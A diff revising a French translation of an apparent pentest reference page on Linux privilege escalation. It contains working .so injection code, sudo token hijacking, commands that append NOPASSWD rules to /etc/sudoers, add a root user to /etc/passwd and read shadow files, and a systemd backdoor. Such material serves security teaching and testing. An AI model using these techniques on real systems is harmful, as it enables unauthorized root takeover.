-- Pour les exécutables avec suid/sgid, seules les bibliothèques situées dans des chemins standards et qui sont également suid/sgid sont préchargées. +- Pour les exécutables suid/sgid, seules les bibliothèques situées dans des chemins standard et qui sont elles-mêmes suid/sgid sont préchargées. -Une escalation de privilèges peut se produire si vous avez la possibilité d'exécuter des commandes avec `sudo` et que la sortie de `sudo -l` inclut l'instruction **env_keep+=LD_PRELOAD**. Cette configuration permet à la variable d'environnement **LD_PRELOAD** de persister et d'être prise en compte même lorsque des commandes sont exécutées avec `sudo`, pouvant potentiellement conduire à l'exécution de code arbitraire avec des privilèges élevés. +Une élévation de privilèges peut se produire si vous avez la possibilité d'exécuter des commandes avec `sudo` et que la sortie de `sudo -l` inclut la déclaration **env_keep+=LD_PRELOAD**. Cette configuration permet à la variable d'environnement **LD_PRELOAD** de persister et d'être reconnue même lorsque des commandes sont exécutées avec `sudo`, pouvant potentiellement conduire à l'exécution de code arbitraire avec des privilèges élevés. ``` Defaults env_keep += LD_PRELOAD ``` -Enregistrer sous **/tmp/pe.c** +Enregistrez sous **/tmp/pe.c** ```c #include #include @@ -840,12 +840,12 @@ Ensuite, **compilez-le** en utilisant : cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Enfin, **escalate privileges** en cours d'exécution +Enfin, **escalate privileges** en exécutant ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Un privesc similaire peut être exploité si l'attaquant contrôle la variable d'environnement **LD_LIBRARY_PATH**, car il contrôle le chemin où les bibliothèques seront recherchées. +> Un privesc similaire peut être exploité si l'attaquant contrôle la variable d'environnement **LD_LIBRARY_PATH** car il contrôle le chemin où les bibliothèques vont être recherchées. ```c #include #include @@ -867,13 +867,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Lorsqu'on rencontre un binaire avec des permissions **SUID** qui semble inhabituel, il est recommandé de vérifier s'il charge correctement les fichiers **.so**. Cela peut être vérifié en exécutant la commande suivante : +Lorsqu'on rencontre un binaire avec les permissions **SUID** qui semble inhabituel, il est prudent de vérifier s'il charge correctement des fichiers **.so**. Cela peut être contrôlé en exécutant la commande suivante : ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Par exemple, rencontrer une erreur comme _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ suggère une possibilité d'exploitation. +Par exemple, l'apparition d'une erreur comme _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ indique une possibilité d'exploitation. -Pour exploiter cela, on procède en créant un fichier C, par exemple _"/path/to/.config/libcalc.c"_, contenant le code suivant : +Pour exploiter cela, on créerait un fichier C, par exemple _"/path/to/.config/libcalc.c"_, contenant le code suivant : ```c #include #include @@ -884,13 +884,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Ce code, une fois compilé et exécuté, vise à élever les privilèges en manipulant les permissions des fichiers et en exécutant un shell avec des privilèges élevés. +Ce code, une fois compilé et exécuté, vise à élever les privilèges en manipulant les permissions de fichiers et en exécutant un shell avec des privilèges élevés. -Compilez le fichier C ci‑dessus en un objet partagé (.so) avec : +Compilez le fichier C ci‑dessus en un fichier objet partagé (.so) avec : ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Enfin, exécuter le binaire SUID affecté devrait déclencher l'exploit, permettant une compromission potentielle du système. +Enfin, l'exécution du binaire SUID affecté devrait déclencher l'exploit, permettant une compromission potentielle du système. ## Shared Object Hijacking ```bash @@ -902,7 +902,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Maintenant que nous avons trouvé un SUID binary qui charge une library depuis un folder où nous pouvons écrire, créons la library dans ce folder avec le nom nécessaire : +Maintenant que nous avons trouvé un binaire SUID qui charge une bibliothèque depuis un dossier où nous pouvons écrire, créons la bibliothèque dans ce dossier avec le nom nécessaire : ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -919,13 +919,13 @@ Si vous obtenez une erreur telle que ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -cela signifie que la bibliothèque que vous avez générée doit contenir une fonction nommée `a_function_name`. +cela signifie que la bibliothèque que vous avez générée doit contenir une fonction appelée `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) est une liste organisée de binaires Unix qui peuvent être exploités par un attaquant pour contourner les restrictions de sécurité locales. [**GTFOArgs**](https://gtfoargs.github.io/) est identique mais pour les cas où vous pouvez **uniquement injecter des arguments** dans une commande. +[**GTFOBins**](https://gtfobins.github.io) est une liste organisée de binaires Unix qu'un attaquant peut exploiter pour contourner les restrictions de sécurité locales. [**GTFOArgs**](https://gtfoargs.github.io/) est la même chose mais pour les cas où vous ne pouvez **injecter que des arguments** dans une commande. -Le projet recense des fonctions légitimes de binaires Unix qui peuvent être détournées pour sortir de shells restreints, escalader ou conserver des privilèges élevés, transférer des fichiers, lancer des bind and reverse shells, et faciliter d'autres tâches post-exploitation. +Le projet recense des fonctionnalités légitimes des binaires Unix pouvant être détournées pour sortir de shells restreints, escalader ou maintenir des privilèges élevés, transférer des fichiers, lancer des bind et reverse shells, et faciliter d'autres tâches de post-exploitation. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -944,60 +944,60 @@ https://gtfoargs.github.io/ ### FallOfSudo -Si vous pouvez exécuter `sudo -l` vous pouvez utiliser l'outil [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) pour vérifier s'il trouve comment exploiter une règle sudo. +Si vous pouvez exécuter `sudo -l`, vous pouvez utiliser l'outil [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) pour vérifier s'il trouve comment exploiter une règle sudo. ### Reusing Sudo Tokens -Dans les cas où vous avez un **accès sudo** mais pas le mot de passe, vous pouvez escalader les privilèges en **attendant l'exécution d'une commande sudo puis en détournant le token de session**. +Dans les cas où vous avez **accès sudo** mais pas le mot de passe, vous pouvez escalader les privilèges en **attendant l'exécution d'une commande sudo puis en détournant le token de session**. -Conditions pour escalader les privilèges : +Prérequis pour escalader les privilèges : - Vous avez déjà un shell en tant qu'utilisateur "_sampleuser_" -- "_sampleuser_" a **utilisé `sudo`** pour exécuter quelque chose au cours des **15 dernières minutes** (par défaut c'est la durée du token sudo qui permet d'utiliser `sudo` sans fournir de mot de passe) -- `cat /proc/sys/kernel/yama/ptrace_scope` doit être 0 -- `gdb` est accessible (vous devez pouvoir l'uploader) +- "_sampleuser_" a **utilisé `sudo`** pour exécuter quelque chose au cours des **15 dernières minutes** (par défaut c'est la durée du token sudo qui nous permet d'utiliser `sudo` sans saisir de mot de passe) +- `cat /proc/sys/kernel/yama/ptrace_scope` est 0 +- `gdb` est accessible (vous pouvez le téléverser) -(Vous pouvez temporairement définir `ptrace_scope` sur 0 avec `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ou en modifiant de façon permanente `/etc/sysctl.d/10-ptrace.conf` et en réglant `kernel.yama.ptrace_scope = 0`) +(Vous pouvez temporairement activer `ptrace_scope` avec `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ou en modifiant en permanence `/etc/sysctl.d/10-ptrace.conf` et en définissant `kernel.yama.ptrace_scope = 0`) Si toutes ces conditions sont remplies, **vous pouvez escalader les privilèges en utilisant :** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- Le **premier exploit** (`exploit.sh`) créera le binaire `activate_sudo_token` dans _/tmp_. Vous pouvez l'utiliser pour **activer le token sudo dans votre session** (vous n'obtiendrez pas automatiquement un shell root, faites `sudo su`) : +- Le **premier exploit** (`exploit.sh`) créera le binaire `activate_sudo_token` dans _/tmp_. Vous pouvez l'utiliser pour **activer le sudo token dans votre session** (vous n'obtiendrez pas automatiquement un shell root, faites `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- Le **deuxième exploit** (`exploit_v2.sh`) créera un sh shell dans _/tmp_ **appartenant à root avec setuid** +- Le **second exploit** (`exploit_v2.sh`) créera un sh shell dans _/tmp_ **owned by root with setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- Le **troisième exploit** (`exploit_v3.sh`) va **créer un fichier sudoers** qui rend **les tokens sudo éternels et permet à tous les utilisateurs d'utiliser sudo** +- Le **third exploit** (`exploit_v3.sh`) va **créer un sudoers file** qui rend les **sudo tokens** éternels et permet à tous les utilisateurs d'utiliser sudo ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Si vous avez **des permissions d'écriture** dans le dossier ou sur l'un des fichiers créés à l'intérieur du dossier, vous pouvez utiliser le binaire [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) pour **créer un sudo token pour un utilisateur et un PID**.\ -Par exemple, si vous pouvez écraser le fichier _/var/run/sudo/ts/sampleuser_ et que vous avez un shell en tant que cet utilisateur avec le PID 1234, vous pouvez **obtenir des privilèges sudo** sans avoir besoin du mot de passe en faisant : +Si vous avez des **permissions d'écriture** dans le dossier ou sur l'un des fichiers créés à l'intérieur du dossier, vous pouvez utiliser le binaire [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) pour **créer un sudo token pour un utilisateur et un PID**.\ +Par exemple, si vous pouvez écraser le fichier _/var/run/sudo/ts/sampleuser_ et que vous avez un shell en tant que cet utilisateur avec le PID 1234, vous pouvez **obtenir les privilèges sudo** sans avoir besoin de connaître le mot de passe en faisant: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Le fichier `/etc/sudoers` et les fichiers dans `/etc/sudoers.d` configurent qui peut utiliser `sudo` et comment. Ces fichiers **par défaut ne peuvent être lus que par l'utilisateur root et le groupe root**.\ -**Si** vous pouvez **lire** ce fichier, vous pourriez être en mesure **d'obtenir des informations intéressantes**, et si vous pouvez **écrire** n'importe quel fichier vous pourrez **escalate privileges**. +Le fichier `/etc/sudoers` et les fichiers à l'intérieur de `/etc/sudoers.d` configurent qui peut utiliser `sudo` et comment. Ces fichiers **par défaut ne peuvent être lus que par l'utilisateur root et le groupe root**.\ +**Si** vous pouvez **lire** ce fichier, vous pourriez être en mesure d'**obtenir des informations intéressantes**, et si vous pouvez **écrire** dans n'importe quel fichier vous pourrez **escalate privileges**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Si vous pouvez écrire, vous pouvez abuser de cette permission +Si vous pouvez écrire, vous pouvez abuser de cette autorisation. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -Une autre façon d'abuser de ces permissions : +Une autre manière d'abuser de ces permissions : ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -1006,17 +1006,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Il existe des alternatives au binaire `sudo`, comme `doas` pour OpenBSD — pensez à vérifier sa configuration dans `/etc/doas.conf` +Il existe quelques alternatives au binaire `sudo` comme `doas` pour OpenBSD ; pensez à vérifier sa configuration dans `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Si vous savez qu'un **utilisateur se connecte habituellement à une machine et utilise `sudo`** pour escalader ses privilèges et que vous avez un shell dans ce contexte utilisateur, vous pouvez **créer un nouvel exécutable sudo** qui exécutera votre code en tant que root puis la commande de l'utilisateur. Ensuite, **modifiez le $PATH** du contexte utilisateur (par exemple en ajoutant le nouveau chemin dans .bash_profile) afin que lorsque l'utilisateur exécute sudo, votre exécutable sudo soit exécuté. +Si vous savez qu'un **utilisateur se connecte habituellement à une machine et utilise `sudo`** pour escalader ses privilèges et que vous avez obtenu un shell dans ce contexte utilisateur, vous pouvez **créer un nouvel exécutable sudo** qui exécutera votre code en tant que root puis la commande de l'utilisateur. Ensuite, **modifiez le $PATH** du contexte utilisateur (par exemple en ajoutant le nouveau chemin dans .bash_profile) afin que lorsque l'utilisateur exécute sudo, votre exécutable sudo soit exécuté. -Notez que si l'utilisateur utilise un shell différent (pas bash) vous devrez modifier d'autres fichiers pour ajouter le nouveau chemin. Par exemple [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifie `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Vous pouvez trouver un autre exemple dans [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Notez que si l'utilisateur utilise un shell différent (pas bash) vous devrez modifier d'autres fichiers pour ajouter le nouveau chemin. Par exemple[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifie `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Vous pouvez trouver un autre exemple dans [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) -Ou en exécutant quelque chose comme: +Ou exécuter quelque chose comme : ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -En copiant la lib dans `/var/tmp/flag15/`, elle sera utilisée par le programme à cet emplacement, comme spécifié dans la variable `RPATH`. +En copiant la lib dans `/var/tmp/flag15/`, elle sera utilisée par le programme à cet emplacement comme spécifié dans la variable `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1067,7 +1066,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -Puis créez une bibliothèque malveillante dans `/var/tmp` avec `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +Ensuite, créez une bibliothèque malveillante dans `/var/tmp` avec `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1080,24 +1079,24 @@ setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } ``` -## Capabilities +## Capacités -Linux capabilities fournissent un **sous-ensemble des privilèges root disponibles pour un processus**. Cela divise effectivement les privilèges root **en unités plus petites et distinctes**. Chacune de ces unités peut ensuite être accordée indépendamment aux processus. De cette façon, l'ensemble des privilèges est réduit, diminuant les risques d'exploitation.\ -Lisez la page suivante pour **en savoir plus sur les capabilities et comment les exploiter**: +Les capacités Linux fournissent un **sous-ensemble des privilèges root disponibles à un processus**. Cela segmente effectivement les privilèges root en **unités plus petites et distinctes**. Chacune de ces unités peut ensuite être accordée indépendamment aux processus. De cette façon, l'ensemble complet des privilèges est réduit, diminuant les risques d'exploitation.\ +Lisez la page suivante pour **en savoir plus sur les capacités et comment les exploiter**: {{#ref}} linux-capabilities.md {{#endref}} -## Directory permissions +## Permissions de répertoire -Dans un répertoire, le **bit "execute"** implique que l'utilisateur concerné peut **cd** dans le dossier.\ +Dans un répertoire, le **bit "execute"** implique que l'utilisateur concerné peut **"cd"** dans le dossier.\ Le bit **"read"** implique que l'utilisateur peut **lister** les **fichiers**, et le bit **"write"** implique que l'utilisateur peut **supprimer** et **créer** de nouveaux **fichiers**. ## ACLs -Access Control Lists (ACLs) représentent la couche secondaire des permissions discrétionnaires, capables de **outrepasser les permissions traditionnelles ugo/rwx**. Ces permissions améliorent le contrôle d'accès aux fichiers ou répertoires en autorisant ou refusant des droits à des utilisateurs spécifiques qui ne sont ni propriétaires ni membres du groupe. Ce niveau de **granularité garantit une gestion des accès plus précise**. Pour plus de détails, consultez [**ici**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Les listes de contrôle d'accès (ACLs) représentent la couche secondaire des permissions discrétionnaires, capables de **outrepasser les permissions traditionnelles ugo/rwx**. Ces permissions améliorent le contrôle d'accès aux fichiers ou répertoires en autorisant ou en refusant des droits à des utilisateurs spécifiques qui ne sont ni propriétaires ni membres du groupe. Ce niveau de **granularité assure une gestion d'accès plus précise**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). **Donner** à l'utilisateur "kali" les permissions de lecture et d'écriture sur un fichier: ```bash @@ -1106,18 +1105,18 @@ setfacl -m u:kali:rw file.txt setfacl -b file.txt #Remove the ACL of the file ``` -**Récupérer** les fichiers avec des ACL spécifiques du système: +**Obtenir** des fichiers avec des ACLs spécifiques du système: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` ## Sessions shell ouvertes -Dans les **anciennes versions** vous pouvez **hijack** une **session shell** d'un autre utilisateur (**root**).\ -Dans les **nouvelles versions** vous ne pourrez **connect** qu'aux sessions screen de **votre propre utilisateur**. Cependant, vous pourriez trouver des **informations intéressantes à l'intérieur de la session**. +Dans les **anciennes versions** vous pouvez **hijack** une session **shell** d'un autre utilisateur (**root**).\ +Dans les **nouvelles versions** vous pourrez **connect** aux screen sessions uniquement de **votre propre utilisateur**. Cependant, vous pourriez trouver des **informations intéressantes à l'intérieur de la session**. -### hijacking des sessions screen +### screen sessions hijacking -**Lister les sessions screen** +**Lister les screen sessions** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1158,47 +1157,47 @@ Consultez **Valentine box from HTB** pour un exemple. ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Toutes les clés SSL et SSH générées sur des systèmes basés sur Debian (Ubuntu, Kubuntu, etc.) entre septembre 2006 et le 13 mai 2008 peuvent être affectées par ce bug.\ -Ce bug se produit lors de la création d'une nouvelle clé ssh sur ces OS, car **seules 32,768 variations étaient possibles**. Cela signifie que toutes les possibilités peuvent être calculées et que, **en ayant la ssh public key vous pouvez rechercher la private key correspondante**. Vous pouvez trouver les possibilités calculées ici : [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Toutes les clés SSL et SSH générées sur les systèmes basés sur Debian (Ubuntu, Kubuntu, etc) entre septembre 2006 et le 13 mai 2008 peuvent être affectées par ce bug.\ +Ce bug se produit lors de la création d'une nouvelle clé ssh sur ces OS, car **seules 32,768 variations étaient possibles**. Cela signifie que toutes les possibilités peuvent être calculées et **possédant la clé publique ssh vous pouvez rechercher la clé privée correspondante**. Vous pouvez trouver les possibilités calculées ici: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH Valeurs de configuration intéressantes +### Valeurs de configuration intéressantes pour SSH -- **PasswordAuthentication:** Indique si l'authentification par mot de passe est autorisée. La valeur par défaut est `no`. -- **PubkeyAuthentication:** Indique si l'authentification par public key est autorisée. La valeur par défaut est `yes`. -- **PermitEmptyPasswords** : Lorsque l'authentification par mot de passe est autorisée, ceci spécifie si le serveur permet la connexion aux comptes dont le mot de passe est vide. La valeur par défaut est `no`. +- **PasswordAuthentication:** Specifies whether password authentication is allowed. The default is `no`. +- **PubkeyAuthentication:** Specifies whether public key authentication is allowed. The default is `yes`. +- **PermitEmptyPasswords**: Lorsque l'authentification par mot de passe est autorisée, spécifie si le serveur permet la connexion à des comptes avec des mots de passe vides. La valeur par défaut est `no`. ### PermitRootLogin Spécifie si root peut se connecter via ssh, la valeur par défaut est `no`. Valeurs possibles : -- `yes`: root peut se connecter en utilisant un mot de passe et une private key -- `without-password` or `prohibit-password`: root ne peut se connecter qu'avec une private key -- `forced-commands-only`: root ne peut se connecter qu'en utilisant une private key et si l'option commands est spécifiée +- `yes`: root peut se connecter en utilisant un mot de passe et une clé privée +- `without-password` ou `prohibit-password`: root ne peut se connecter qu'avec une clé privée +- `forced-commands-only`: Root peut se connecter uniquement en utilisant une clé privée et si les options commands sont spécifiées - `no` : non ### AuthorizedKeysFile -Spécifie les fichiers contenant les public keys pouvant être utilisées pour l'authentification des utilisateurs. Il peut contenir des tokens comme `%h`, qui seront remplacés par le répertoire personnel. **Vous pouvez indiquer des chemins absolus** (commençant par `/`) ou **des chemins relatifs depuis le home de l'utilisateur**. Par exemple: +Spécifie les fichiers qui contiennent les clés publiques pouvant être utilisées pour l'authentification des utilisateurs. Il peut contenir des tokens comme `%h`, qui seront remplacés par le répertoire home. **Vous pouvez indiquer des chemins absolus** (commençant par `/`) ou **des chemins relatifs depuis le home de l'utilisateur**. Par exemple: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Cette configuration indiquera que si vous essayez de vous connecter avec la clé **private** de l'utilisateur "**testusername**", ssh va comparer la clé publique correspondante avec celles situées dans `/home/testusername/.ssh/authorized_keys` et `/home/testusername/access` +Cette configuration indiquera que si vous essayez de vous connecter avec la clé **private** de l'utilisateur "**testusername**", ssh va comparer la public key de votre key avec celles situées dans `/home/testusername/.ssh/authorized_keys` et `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding allows you to **use your local SSH keys instead of leaving keys** (without passphrases!) sitting on your server. Ainsi, vous pourrez **jump** via ssh **to a host** et depuis là **jump to another** host **using** la **key** située sur votre **initial host**. +SSH agent forwarding vous permet de **use your local SSH keys instead of leaving keys** (without passphrases !) sur votre serveur. Vous pourrez ainsi **jump** via ssh **to a host** et depuis celui-ci **jump to another** host **using** la **key** située sur votre **initial host**. -Vous devez définir cette option dans `$HOME/.ssh.config` de cette façon: +Vous devez définir cette option dans `$HOME/.ssh.config` comme ceci: ``` Host example.com ForwardAgent yes ``` -Remarquez que si `Host` est `*` chaque fois que l'utilisateur saute vers une machine différente, cet hôte pourra accéder aux clés (ce qui est un problème de sécurité). +Remarquez que si `Host` est `*`, chaque fois que l'utilisateur passe sur une machine différente, cet host pourra accéder aux keys (ce qui est un problème de sécurité). -Le fichier `/etc/ssh_config` peut **outrepasser** ces **options** et permettre ou refuser cette configuration.\ -Le fichier `/etc/sshd_config` peut **autoriser** ou **refuser** ssh-agent forwarding avec le mot-clé `AllowAgentForwarding` (par défaut : autorisé). +Le fichier `/etc/ssh_config` peut **surcharger** ces **options** et autoriser ou refuser cette configuration.\ +Le fichier `/etc/sshd_config` peut **autoriser** ou **refuser** ssh-agent forwarding avec le mot-clé `AllowAgentForwarding` (par défaut autorisé). -Si vous trouvez que Forward Agent est configuré dans un environnement, lisez la page suivante car **vous pourriez être capable de l'exploiter pour élever vos privilèges**: +Si vous découvrez que Forward Agent est configuré dans un environnement, lisez la page suivante car **vous pourriez être en mesure d'en abuser pour escalate privileges**: {{#ref}} @@ -1209,26 +1208,26 @@ ssh-forward-agent-exploitation.md ### Fichiers de profil -Le fichier `/etc/profile` et les fichiers sous `/etc/profile.d/` sont des **scripts qui sont exécutés lorsqu'un utilisateur lance un nouveau shell**. Par conséquent, si vous pouvez **écrire ou modifier l'un d'eux, vous pouvez élever vos privilèges**. +Le fichier `/etc/profile` et les fichiers sous `/etc/profile.d/` sont des **scripts qui sont exécutés lorsqu'un utilisateur lance un nouveau shell**. Par conséquent, si vous pouvez **écrire ou modifier n'importe lequel d'entre eux, vous pouvez escalate privileges**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Si un script de profil suspect est trouvé, vous devriez le vérifier pour des **informations sensibles**. +Si un script de profil suspect est trouvé, vous devriez le vérifier pour des **détails sensibles**. ### Fichiers passwd/shadow -Selon le système d'exploitation, les fichiers `/etc/passwd` et `/etc/shadow` peuvent porter un nom différent ou il peut y avoir une sauvegarde. Il est donc recommandé de **les trouver tous** et de **vérifier si vous pouvez les lire** pour voir **s'il y a des hashes** à l'intérieur des fichiers : +Selon le système d'exploitation, les fichiers `/etc/passwd` et `/etc/shadow` peuvent porter un nom différent ou il peut exister une sauvegarde. Il est donc recommandé de **les trouver tous** et de **vérifier si vous pouvez les lire** pour voir **s'il y a des hashes** à l'intérieur des fichiers: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -Dans certains cas, vous pouvez trouver **password hashes** dans le fichier `/etc/passwd` (ou équivalent). +Parfois, vous pouvez trouver **password hashes** dans le fichier `/etc/passwd` (ou son équivalent) ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Writable /etc/passwd +### /etc/passwd accessible en écriture Tout d'abord, générez un mot de passe avec l'une des commandes suivantes. ``` @@ -1236,7 +1235,7 @@ openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Ajouter l'utilisateur `hacker` et utiliser le mot de passe généré : `8fR#v9Qm$2Zt!4Lp` +Ensuite, ajoutez l'utilisateur `hacker` et ajoutez le mot de passe généré. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` @@ -1245,19 +1244,19 @@ Ex. : `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` Vous pouvez maintenant utiliser la commande `su` avec `hacker:hacker` Alternativement, vous pouvez utiliser les lignes suivantes pour ajouter un utilisateur factice sans mot de passe.\ -ATTENTION : vous risquez de dégrader la sécurité actuelle de la machine. +ATTENTION : cela pourrait dégrader la sécurité actuelle de la machine. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -REMARQUE : Sur les plateformes BSD, `/etc/passwd` se trouve à `/etc/pwd.db` et `/etc/master.passwd`, et `/etc/shadow` est renommé en `/etc/spwd.db`. +REMARQUE : Sur les plateformes BSD `/etc/passwd` se trouve à `/etc/pwd.db` et `/etc/master.passwd`, de plus `/etc/shadow` est renommé en `/etc/spwd.db`. Vous devriez vérifier si vous pouvez **écrire dans certains fichiers sensibles**. Par exemple, pouvez-vous écrire dans un **fichier de configuration de service** ? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Par exemple, si la machine exécute un serveur **tomcat** et que vous pouvez **modifier le fichier de configuration du service Tomcat dans /etc/systemd/**, alors vous pouvez modifier les lignes : +Par exemple, si la machine exécute un serveur **tomcat** et que vous pouvez **modifier le fichier de configuration du service Tomcat dans /etc/systemd/,** alors vous pouvez modifier les lignes : ``` ExecStart=/path/to/backdoor User=root @@ -1265,9 +1264,9 @@ Group=root ``` Votre backdoor sera exécutée la prochaine fois que tomcat sera démarré. -### Vérifiez les dossiers +### Vérifier les dossiers -Les dossiers suivants peuvent contenir des sauvegardes ou des informations intéressantes: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Il est probable que vous ne pourrez pas lire le dernier, mais essayez) +Les dossiers suivants peuvent contenir des backups ou des informations intéressantes : **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Vous ne pourrez probablement pas lire le dernier, mais essayez.) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` @@ -1288,11 +1287,11 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### Fichiers modifiés dans les dernières minutes +### Fichiers modifiés ces dernières minutes ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Fichiers DB Sqlite +### Fichiers Sqlite DB ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1304,7 +1303,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Scripts/Binaires dans PATH** +### **Script/Binaries dans PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1320,22 +1319,22 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### Fichiers connus contenant des passwords +### Fichiers connus contenant des mots de passe -Consultez le code de [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), il cherche **plusieurs fichiers susceptibles de contenir des passwords**.\ -**Un autre outil intéressant** que vous pouvez utiliser est : [**LaZagne**](https://github.com/AlessandroZ/LaZagne) qui est une application open source utilisée pour récupérer de nombreux passwords stockés sur un ordinateur local pour Windows, Linux & Mac. +Consultez le code de [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), il recherche **plusieurs fichiers potentiels qui pourraient contenir des mots de passe**.\ +**Un autre outil intéressant** que vous pouvez utiliser pour cela est : [**LaZagne**](https://github.com/AlessandroZ/LaZagne) qui est une application open source utilisée pour récupérer de nombreux mots de passe stockés sur un ordinateur local pour Windows, Linux & Mac. ### Logs -Si vous pouvez lire les logs, vous pourriez trouver **des informations intéressantes/confidentielles à l'intérieur**. Plus le log est étrange, plus 